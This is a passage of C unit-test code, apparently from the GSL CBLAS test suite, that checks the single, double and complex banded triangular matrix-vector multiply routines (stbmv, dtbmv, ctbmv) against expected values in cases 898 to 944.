trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 898)"); } }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { -0.089f, -0.670912f, 0.146504f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 899)"); } }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { -0.24504f, 0.447756f, -0.089117f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 900)"); } }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { -0.351128f, -0.589748f, -0.203f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 901)"); } }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { 0.156047f, 0.189418f, -0.52828f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 902)"); } }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { 0.194342f, -0.449858f, -0.562f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 903)"); } }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { -0.0046f, 0.156047f, 0.189418f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 904)"); } }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { 0.023f, -0.516295f, -0.423724f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 905)"); } }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { 0.328565f, 0.326454f, 0.051142f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 906)"); } }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { 0.356165f, -0.345888f, -0.562f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 907)"); } }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { -0.015295f, 0.13041f, -0.482689f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 908)"); } }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.94f, -0.091f, 0.984f, -0.276f, -0.342f, -0.484f, -0.665f, -0.2f, 0.349f }; float X[] = { 0.023f, -0.501f, -0.562f }; int incX = -1; float x_expected[] = { 0.023f, -0.508866f, -0.516409f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 909)"); } }; }; { int order = 101; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { 0.50204, 0.563918, -0.590448 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 910)"); } }; }; { int order = 101; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { -0.77, -0.95429, -0.44419 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 911)"); } }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { 1.214016, -0.433258, 0.321835 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 912)"); } }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { -0.236664, -1.106472, 0.337 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 913)"); } }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { 0.68068, 0.357254, 1.022043 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 914)"); } }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { -0.77, -0.31596, 1.037208 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 915)"); } }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { 0.357254, 1.022043, 0.190742 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 916)"); } }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.566, 0.955, -0.086, -0.856, 0.177, 0.974, -0.652, -0.884, 0.77 }; double X[] = { -0.77, -0.818, 0.337 }; int incX = -1; double x_expected[] = { -0.914786, -0.496165, 0.337 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 917)"); } }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { 0.610833, -0.293243, 0.02914 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 918)"); } }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { -0.635031, 0.574, 0.155 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 919)"); } }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { 0.024679, 0.610833, -0.293243 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 920)"); } }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { -0.851, 0.875864, -0.231243 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 921)"); } }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { -0.198505, 0.091504, 0.093 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 922)"); } }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { -1.074184, 0.356535, 0.155 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 923)"); } }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { 0.394864, -0.768342, 0.31774 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 924)"); } }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.188, 0.6, -0.743, -0.803, 0.449, -0.681, -0.464, -0.029, 0.553 }; double X[] = { -0.851, 0.481, 0.155 }; int incX = -1; double x_expected[] = { -0.851, 0.098901, 0.4436 }; cblas_dtbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], dbleps, "dtbmv(case 925)"); } }; }; { int order = 101; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { -0.113114f, -0.051704f, -0.403567f, -0.288349f, -0.223936f, 0.841145f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 926) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 926) imag"); }; }; }; { int order = 101; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { -0.46f, 0.069f, -0.14027f, -0.23208f, -0.537722f, 0.841425f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 927) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 927) imag"); }; }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { -0.099689f, 0.487805f, 0.353793f, 0.325411f, -0.225658f, -0.776023f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 928) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 928) imag"); }; }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { -0.39057f, 0.113296f, 0.388863f, 0.131011f, -0.236f, 0.605f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 929) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 929) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { -0.169119f, 0.443509f, 0.159816f, 0.139696f, -0.180955f, -0.835292f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 930) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 930) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { -0.46f, 0.069f, 0.194886f, -0.054704f, -0.191297f, 0.545731f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 931) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 931) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { 0.159816f, 0.139696f, -0.180955f, -0.835292f, 0.077786f, 0.60472f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 932) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 932) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.824f, -0.45f, -0.987f, 0.758f, 0.42f, -0.357f, 0.147f, -0.191f, 0.88f, 0.63f, 0.155f, -0.573f, 0.224f, 0.146f, 0.501f, -0.889f, 0.456f, 0.796f }; float X[] = { -0.46f, 0.069f, 0.308f, -0.003f, -0.236f, 0.605f }; int incX = -1; float x_expected[] = { -0.18707f, 0.2604f, 0.082342f, -0.779023f, -0.236f, 0.605f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 933) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 933) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { 0.647885f, 0.621535f, -0.104407f, 0.05309f, 0.732704f, 0.055982f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 934) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 934) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { 1.2955f, 0.190774f, -0.247934f, 0.982616f, -0.894f, -0.116f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 935) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 935) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { 0.096482f, -0.071661f, 0.647885f, 0.621535f, -0.104407f, 0.05309f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 936) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 936) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { 0.411f, -0.308f, -1.14861f, 0.933761f, -1.66247f, -0.234526f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 937) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 937) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { 0.632361f, -0.409373f, 0.578489f, 0.012724f, 0.664066f, 0.171616f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 938) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 938) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { 0.946879f, -0.645712f, -1.21801f, 0.32495f, -0.894f, -0.116f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 939) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 939) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { -0.236612f, 0.122761f, -1.12184f, -0.358823f, 1.4975f, -0.470595f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 940) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 940) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.814f, 0.043f, -0.755f, -0.094f, 0.876f, 0.257f, 0.406f, 0.491f, -0.27f, -0.787f, 0.545f, 0.732f, -0.512f, -0.085f, 0.234f, 0.001f, -0.225f, -0.002f }; float X[] = { 0.411f, -0.308f, -0.912f, 0.811f, -0.894f, -0.116f }; int incX = -1; float x_expected[] = { 0.411f, -0.308f, -1.26537f, 0.570703f, -0.129206f, -0.642577f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 941) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 941) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { 0.413357f, 0.178267f, -0.114618f, -1.35595f, -0.513288f, 0.611332f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 942) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 942) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { 0.368428f, 0.071217f, -0.954366f, -0.390486f, 0.694f, -0.954f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 943) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 943) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { -0.084786f, -0.059464f, 0.413357f, 0.178267f, -0.114618f, -1.35595f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 944) real"); 